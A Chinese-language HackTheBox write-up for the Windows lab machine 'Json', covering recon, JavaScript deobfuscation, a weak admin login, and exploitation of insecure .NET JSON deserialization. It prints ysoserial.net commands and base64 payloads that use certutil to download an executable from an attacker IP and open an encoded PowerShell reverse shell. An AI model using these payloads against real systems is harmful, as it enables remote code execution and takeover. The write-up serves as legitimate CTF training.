Skip to content

Json Writeup

  • 250527: Fixed internal link.

沒有TL;DR,我就是囉哩八B嗦。

靶機資訊

Machine Description
Name Json
OS Windows
Difficulty Medium
Author Cyb3rb0b

情蒐 Recon

服務掃描

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-05-07T01:42:27
|_  start_date: 2025-05-07T01:39:18
| smb2-security-mode:
|   3:0:2:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:6b:67 (VMware)
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ sudo nmap -Pn -sCV -sS -p- --min-rate 4200 --script-args http.useragnet="Mozilla/5.0 (Windows NT 10.0; WOW64; x64) Apple
37.36" 10.129.227.191
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 21:41 EDT
Nmap scan report for 10.129.227.191
Host is up (0.062s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-05-07T01:42:27
|_  start_date: 2025-05-07T01:39:18
| smb2-security-mode:
|   3:0:2:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:6b:67 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.23 seconds

HTTP - Port 80

點開網站,發現頁面先載入dashboard,才檢查到沒登入,然後自動跳轉到/login.html

這種檢查機制多半有問題,於是想攔截封包,但Burp Suite卻攔截不到//login.html?!

為啥?

瀏覽器的暫存機制

如果Burp Suite沒有攔截到流量,除了Burp故障外,最有可能的原因是瀏覽器本身根本沒發送HTTP請求。 這通常表示瀏覽器正在使用暫存於本機的資料,而不是重新請求伺服器網頁內容。 我們可以透過重新啟動瀏覽器,並全程啟用Burp阻攔,驗證首次連線的流量可以被攔截。

但是什麼造成Firefox暫存網頁資料呢?

使用curl查看網頁的標頭(headers),尋找伺服器要求的暫存設定:

HTTP/1.1 200 OK
Content-Length: 40163
Content-Type: text/html
Last-Modified: Thu, 23 May 2019 18:50:40 GMT
Accept-Ranges: bytes
ETag: "a836ea6a9811d51:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Wed, 07 May 2025 03:45:50 GMT

在回應中,可見兩個與暫存相關的標頭:

  • Last-Modified1:資源的最後修改時間
  • ETag2:資源的唯一標識符(類似指紋),

瀏覽器第一次造訪後保存這些值。當再次請求同一內容時,瀏覽器會先檢查本機暫存,如果找到對應資源,它會使用這些標頭的內容,,向伺服器確認是否有更新,而不是直接下載整個資料。雖然此標的的回應中沒有明確設定Cache-ControlExpires標頭來指定時效,瀏覽器仍會根據自身算法決定暫存時長,通常都是日期。

靶機的內容當然不會更新,瀏覽器自然不會真的發送連線,Burp也就攔不到了。

關閉Firefox暫存

Sad Firefox

把暫存機制關閉,一勞永逸。 反正大家都吃到飽嘛<3

以下設定步驟:

  1. 在網址欄輸入about:config,並點擊「I’ll be careful, I promise!」,進入Firefox設定頁
  2. 輸入browser.cache.disk.enable,並設值為False Cache Disk
  3. 輸入browser.cache.memory.enable,並設值為False Cache Memory
  4. 重新啟動Firefox
  5. Enjoy,這是沒有暫存的流量世界

JavaScript反混淆

可以用Burp攔劫後,好像沒啥用。

那就靜態分析吧!發現靶機的前端framework是Angular,並且開啟頁面時載入/js/app.min.js

Burp攔截流量

看看app.min.js的內容:

var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])

真的是謝囉,是混淆過的JavaScript,但混淆的手法很單純,可以輕易被網上的反混淆工具解開。

在此使用de4js反混淆,直接選擇「Array」就可以解開了:

 angular.module('json', ['ngCookies']).controller('loginController', ['$http', '$scope', '$cookies', function (_0x30f6x1, _0x30f6x2, _0x30f6x3) {
     _0x30f6x2.credentials = {
         UserName: '',
         Password: ''
     };
     _0x30f6x2.error = {
         message: '',
         show: false
     };
     var _0x30f6x4 = _0x30f6x3.get('OAuth2');
     if (_0x30f6x4) {
         window.location.href = 'index.html'
     };
     _0x30f6x2.login = function () {
         _0x30f6x1.post('/api/token', _0x30f6x2.credentials).then(function (_0x30f6x5) {
             window.location.href = 'index.html'
         }, function (_0x30f6x6) {
             _0x30f6x2.error.message = 'Invalid Credentials.';
             _0x30f6x2.error.show = true;
             console.log(_0x30f6x6)
         })
     }
 }]).controller('principalController', ['$http', '$scope', '$cookies', function (_0x30f6x1, _0x30f6x2, _0x30f6x3) {
     var _0x30f6x4 = _0x30f6x3.get('OAuth2');
     if (_0x30f6x4) {
         _0x30f6x1.get('/api/Account/', {
             headers: {
                 "Bearer": _0x30f6x4
             }
         }).then(function (_0x30f6x5) {
             _0x30f6x2.UserName = _0x30f6x5.data.Name
         }, function (_0x30f6x6) {
             _0x30f6x3.remove('OAuth2');
             window.location.href = 'login.html'
         })
     } else {
         window.location.href = 'login.html'
     }
 }])

這段js分兩個controllers,loginControllerprincipalController處理使用者授權:

  • loginController
    1. 先檢查OAuth2的cookie是否存在,若存在立刻將使用者導向/index.html
    2. 若不存在cookie值,則停留在/login.html
    3. 當使用者輸入帳密,POST帳密至API(/api/token)
    4. 登入成功跳至/index.html,失敗顯示「Invalid Credentials.」轉回/login.html
  • principalController
    1. 先檢查OAuth2的cookie是否存在,若不存在立刻將使用者導向/login.html
    2. 若存在,以Bearer挾帶OAuth2,GET API(/api/Account/)
    3. 如果API回傳成功,則顯示使用者名稱
    4. 如果API失敗,刪除舊有的cookies,並將使用者導向/login.html

這樣有什麼問題?由於沒有在第一時間確認使用者是否具有合法Cookies,使用者可以短暫取得/index.html,如果該頁面暴露沒有token保護的API,攻擊者就可以利用。

但這次好像沒有,我懶得看,所以先戳戳看登入吧!

弱密碼登入

還沒爆破就登入,有夠哭XD

Login as Admin

admin:admin

奇怪的Token

登入後沒什麼功能,dashboard是假的Qq

所以來看看這個奇怪的token吧!

HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Wed, 07-May-2025 09:25:22 GMT; path=/
X-Powered-By: ASP.NET
Date: Wed, 07 May 2025 09:23:22 GMT
Content-Length: 0

這段OAuth2的token長得很Base64,所以試試看解碼:

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ echo -n "eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" | base64 -d | jq
{
  "Id": 1,
  "UserName": "admin",
  "Password": "21232f297a57a5a743894a0e4a801fc3",
  "Name": "User Admin HTB",
  "Rol": "Administrator"
}

結果token就只是使用者的Json資料,於是嘗試回傳竄改內容檢測是否有驗證機制。

怎麼不懷疑是jwt?

JWT有三段啊!長得像是:

              HEADER                .                                 PAYLOAD                              .                 VERIFY_SIGNATURE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI2OTQyMCIsIm5hbWUiOiJKb2huIFdpY2siLCLlkKciOiLllablt7Tlt7QifQ.-KGxpl4Y90TDbbJDxTvK_9uJ7lWDai8nn6qBW75AV1Q
前面兩段是base64編碼得到json資料,最後一段是將前兩段用密文簽章的結果。

如果Header設定前章演算法是「無」("alg": "none"),則僅有兩段,但仍然有兩個(header.payload.)。

不良驗證機制

從剛才principalController的原始碼內容得知,該APP以Bearer夾帶OAuth2 token(base64編碼的JSON資料)送至API(/api/Account/),確認token是否合法。

Original Token

於是在Burp Suite裡依樣畫葫蘆送出剛才登入取得的token,發現API回傳的內容正式是token base64解碼的JSON資料。

那麼,竄改密碼的token能夠過驗證嗎?

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ echo -n '{"Id":1,"UserName":"admin","Password":"cool_password","Name":"User Admin HTB","Rol":"Administrator"}' | base64 -w 0
eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiY29vbF9wYXNzd29yZCIsIk5hbWUiOiJVc2VyIEFkbWluIEhUQiIsIlJvbCI6IkFkbWluaXN0cmF0b3IifQ==

嘗試送出竄改後的token:

Bad Password Token

結果竟然可以正常回傳資料,由此可知後端根本沒有檢查token密碼是否正確!

那麼,它會檢查整個爛掉的token嗎?

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ echo "fuckyeah" | base64
ZnVja3llYWgK

Completely Fucked Token

不會,伺服器不但沒有檢查token的結構是不是Json,還直接嘗試 反序列化 內容!

反序列化弱點RCE

不受信任資料 ⮕ 不安全反序列化引擎 ⮕ 觸發gadget ⮕ 執行攻擊者程式碼

什麼是(反)序列化?

在探討如何攻擊反序列化弱點之前,先理解「序列化」的基本概念。 簡單來說,序列化是指將程式中的資料結構或是物件(object),轉換成可以儲存或傳輸格式的過程,而反序列化則是將資料還原成可用物件的逆向過程。

舉個例子說明,在C2_A創建一個新的Victim物件,victim01

use std::fs::File;
use std::io::{self, Write};
use std::net::IpAddr;
use serde::{Serialize, Deserialize};

#[derive(Serialize, Deserialize, Debug)]
struct Victim {
    hostname: String,
    ip: IpAddr,
    mac: String    
}

fn main() -> io::Result<()> {
    let victim01 = Victim {
        hostname: String::from("pc01"),
        ip: "192.168.1.77".parse().expect("Bad IP format."),
        mac: String::from("38:DE:AD:BE:EF:FF")
    };

    Ok(())
}

如果現在要將victim01物件傳遞到另一台C2 server(C2_B),要先將該物件轉換成可傳輸資料類型,如JSON:

...
fn main() -> io::Result<()> {
    let victim01 = Victim {
        hostname: String::from("pc01"),
        ip: "192.168.1.77".parse().unwrap(),
        mac: String::from("38:DE:AD:BE:EF:FF")
    };
    // 將victim序列化成JSON字串
    let serialized_data = serde_json::to_string(&victim01).unwrap();
    // 寫入檔案
    let mut fs = File::create("victim01.json")?;
    fs.write_all(serialized_data.as_bytes())?;

    Ok(())
}

然後將JSON檔案傳到C2_B,再讀取資料還原成victim01物件。

use std::fs::File;
use std::io::{self, BufReader};
use std::net::IpAddr;
use serde::{Serialize, Deserialize};

#[derive(Serialize, Deserialize, Debug)]
struct Victim {
    hostname: String,
    ip: IpAddr,
    mac: String    
}

fn main() -> io::Result<()> {
    // 讀取JSON檔案
    let fs = File::open("victim01.json")?;
    let reader = BufReader::new(fs);
    // 反序列化JSON資料成物件
    let victim01: Victim = serde_json::from_reader(reader)?;
    println!("Hostname: {}, \nip: {}, \nmac: {}", victim01.hostname, victim01.ip, victim01.mac);
}

這樣一來,C2_B也能取得完整的victim01資料。

為什麼反序列化是弱點?

反序列化本身不是弱點,但不安全的反序列化處理,也就是任意處理不受信任的輸入資料是未適當驗證,就會成為漏洞的源頭。

.NET框架漏洞利用條件

本次靶機基於.NET框架,在反序列漏洞利用中,需要同時滿足兩個關鍵條件3:

  1. 不安全的反序列化引擎

    必須使用以下不安全的引擎之一:

    • BinaryFormatter
    • NetDataContractSerializer
    • SoapFormatter
    • XmlSerializer(特定設定下)
    • 其他…
  2. 可利用的gadget chain

當這些條件滿足時,攻擊者就能執行任意程式碼。

ysoserial生產payload

事不宜遲,使用針對.NET反序列化攻擊的工具ysoserial.net產生payload。

由於我沒有深入探討目標系統背後的原理,所以依據經驗使用ObjectDataProvider這個gadget生成payload。如果行不通,再嘗試其他gadget。

Terminal
PS C:\shares\Release> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "certutil.exe -urlcache -f http://10.10.14.2/666.exe bad.exe"
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIGNlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLWYgaHR0cDovLzEwLjEwLjE0LjIvNjY2LmV4ZSBiYWQuZXhlJ10NCiAgICB9LA0KICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30NCn0=

送出惡意token後,成功檢測到標的回連本機HTTP server的流量。

Test Ysoerial Payload

既然測試payload可行,就可以進一步準備正式的reverse shell的payload:

Terminal
PS C:\shares\Release> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAOAAwACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBvd2Vyc2hlbGwgLWUgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQXdBQzRBTVFBd0FDNEFNUUEwQUM0QU5RQWlBQ3dBT0FBd0FDa0FPd0FrQUhNQWRBQnlBR1VBWVFCdEFDQUFQUUFnQUNRQVl3QnNBR2tBWlFCdUFIUUFMZ0JIQUdVQWRBQlRBSFFBY2dCbEFHRUFiUUFvQUNrQU93QmJBR0lBZVFCMEFHVUFXd0JkQUYwQUpBQmlBSGtBZEFCbEFITUFJQUE5QUNBQU1BQXVBQzRBTmdBMUFEVUFNd0ExQUh3QUpRQjdBREFBZlFBN0FIY0FhQUJwQUd3QVpRQW9BQ2dBSkFCcEFDQUFQUUFnQUNRQWN3QjBBSElBWlFCaEFHMEFMZ0JTQUdVQVlRQmtBQ2dBSkFCaUFIa0FkQUJsQUhNQUxBQWdBREFBTEFBZ0FDUUFZZ0I1QUhRQVpRQnpBQzRBVEFCbEFHNEFad0IwQUdnQUtRQXBBQ0FBTFFCdUFHVUFJQUF3QUNrQWV3QTdBQ1FBWkFCaEFIUUFZUUFnQUQwQUlBQW9BRTRBWlFCM0FDMEFUd0JpQUdvQVpRQmpBSFFBSUFBdEFGUUFlUUJ3QUdVQVRnQmhBRzBBWlFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVkFCbEFIZ0FkQUF1QUVFQVV3QkRBRWtBU1FCRkFHNEFZd0J2QUdRQWFRQnVBR2NBS1FBdUFFY0FaUUIwQUZNQWRBQnlBR2tBYmdCbkFDZ0FKQUJpQUhrQWRBQmxBSE1BTEFBd0FDd0FJQUFrQUdrQUtRQTdBQ1FBY3dCbEFHNEFaQUJpQUdFQVl3QnJBQ0FBUFFBZ0FDZ0FhUUJsQUhnQUlBQWtBR1FBWVFCMEFHRUFJQUF5QUQ0QUpnQXhBQ0FBZkFBZ0FFOEFkUUIwQUMwQVV3QjBBSElBYVFCdUFHY0FJQUFwQURzQUpBQnpBR1VBYmdCa0FHSUFZUUJqQUdzQU1nQWdBRDBBSUFBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBZ0FDc0FJQUFpQUZBQVV3QWdBQ0lBSUFBckFDQUFLQUJ3QUhjQVpBQXBBQzRBVUFCaEFIUUFhQUFnQUNzQUlBQWlBRDRBSUFBaUFEc0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFJQUE5QUNBQUtBQmJBSFFBWlFCNEFIUUFMZ0JsQUc0QVl3QnZBR1FBYVFCdUFHY0FYUUE2QURvQVFRQlRBRU1BU1FCSkFDa0FMZ0JIQUdVQWRBQkNBSGtBZEFCbEFITUFLQUFrQUhNQVpRQnVBR1FBWWdCaEFHTUFhd0F5QUNrQU93QWtBSE1BZEFCeUFHVUFZUUJ0QUM0QVZ3QnlBR2tBZEFCbEFDZ0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFMQUF3QUN3QUpBQnpBR1VBYmdCa0FHSUFlUUIwQUdVQUxnQk1BR1VBYmdCbkFIUUFhQUFwQURzQUpBQnpBSFFBY2dCbEFHRUFiUUF1QUVZQWJBQjFBSE1BYUFBb0FDa0FmUUE3QUNRQVl3QnNBR2tBWlFCdUFIUUFMZ0JEQUd3QWJ3QnpBR1VBS0FBcEFBPT0nXQ0KICAgIH0sDQogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknfQ0KfQ==

成功!

Get A Shell

Terminal
PS C:\Users> ls u*\Des*\*


    Directory: C:\Users\userpool\Desktop


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-ar--          5/7/2025   9:44 PM         34 user.txt


PS C:\Users> cat u*\Des*\*.txt
2f97c1f842f734df08680f9f6346b726

內部探勘

詳細列出目錄後,發現除了Administrator,還有另一個使用者superadmin

Terminal
PS C:\Users> ls


    Directory: C:\Users


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         5/22/2019   4:52 PM            .NET v2.0
d----         5/22/2019   4:52 PM            .NET v2.0 Classic
d----         5/22/2019   4:52 PM            .NET v4.5
d----         5/22/2019   4:52 PM            .NET v4.5 Classic
d----         3/17/2021  11:01 AM            Administrator
d----         5/22/2019   4:52 PM            Classic .NET AppPool
d-r--         8/22/2013  11:39 AM            Public
d----         5/22/2019   5:37 PM            superadmin
d----         5/22/2019   5:07 PM            userpool

經過進一步調查系統、文件和服務,發現了一個特殊程式。

本階段調查其餘內容
Terminal
PS C:\> ls


    Directory: C:\


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         5/22/2019   4:32 PM            inetpub
d----         8/22/2013  11:52 AM            PerfLogs
d----          8/8/2019   7:04 PM            Program Files
d----          8/8/2019   7:04 PM            Program Files (x86)
d----         5/22/2019   6:40 PM            sources
d----         5/23/2019   3:11 PM            tmp
d-r--         3/17/2021  11:00 AM            Users
d----         3/17/2021   7:55 AM            Windows
-a---         5/23/2019   4:43 PM         22 password.txt


PS C:\> cat pa*
Jajaja

Not Correct

PS C:\tmp> ls


    Directory: C:\tmp


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---          5/7/2025  11:18 PM    1164114 log.txt


PS C:\tmp> cat log.txt
...
Wednesday, May 7, 2025 -- Upload File password.txt
Wednesday, May 7, 2025 -- System.Net.WebException: The remote server returned an error: (550) File unavailable (e.g., file not found, no access).
   at System.Net.FtpWebRequest.SyncRequestCallback(Object obj)
   at System.Net.FtpWebRequest.RequestCallback(Object obj)
   at System.Net.CommandStream.Dispose(Boolean disposing)
   at System.IO.Stream.Close()
   at System.IO.Stream.Dispose()
   at System.Net.ConnectionPool.Destroy(PooledStream pooledStream)
   at System.Net.ConnectionPool.PutConnection(PooledStream pooledStream, Object owningObject, Int32 creationTimeout, Boolean canReuse)
   at System.Net.FtpWebRequest.FinishRequestStage(RequestStage stage)
   at System.Net.FtpWebRequest.GetRequestStream()
   at SyncLocation.Service1.Copy()
...
